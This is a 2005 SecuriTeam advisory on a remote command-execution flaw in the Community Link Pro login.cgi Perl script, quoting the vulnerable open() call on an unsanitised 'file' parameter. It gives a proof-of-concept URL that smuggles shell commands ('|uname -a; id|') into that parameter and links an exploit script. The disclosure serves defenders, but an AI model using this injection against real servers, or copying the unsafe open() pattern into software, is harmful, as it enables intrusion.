[UNIX] Community Link Pro Command Execution (login.cgi)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/10/05

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Date: 10 Nov 2005 14:50:27 +0200

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      Community Link Pro Command Execution (login.cgi)
    ------------------------------------------------------------------------

    SUMMARY

    Login.cgi is "a login script written in Perl by Community Link Pro Web
    Editor that allows to a remote user to login in his own personal page".

    Community Link Pro Web Editor has been found to be vulnerable to remote
    code execution due lack of sanitation of 'file' parameter.

    DETAILS

    Vulnerable Code:
    open(FILE2,"$memberspath/$FORM{'username'}/$FORM{'file'}");
    foreach (<FILE2>) {
       print;
    }
    close(FILE2);

    The above code doesn't properly open the file for reading, this allows a
    remote attacker to cause the program to open commands which it will
    execute. The vulnerability can be exploited by simply passing commands as
    the $file parameter, for example:
    login.cgi?username=&command=simple&do=edit&password=&file=|COMMAND|.

    Proof of concept:
    http://www.hostvuln.net/app/webeditor/login.cgi?username=&
    command=simple&do=edit&password=&file=|uname -a; id|

    Exploit:
     <http://www.badroot.org/exploits/clogin.pl>
    http://www.badroot.org/exploits/clogin.pl

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mozako@mybox.it> mozako.
    The original article can be found at:
    <http://www.badroot.org/advisories/SA0x05>
    http://www.badroot.org/advisories/SA0x05

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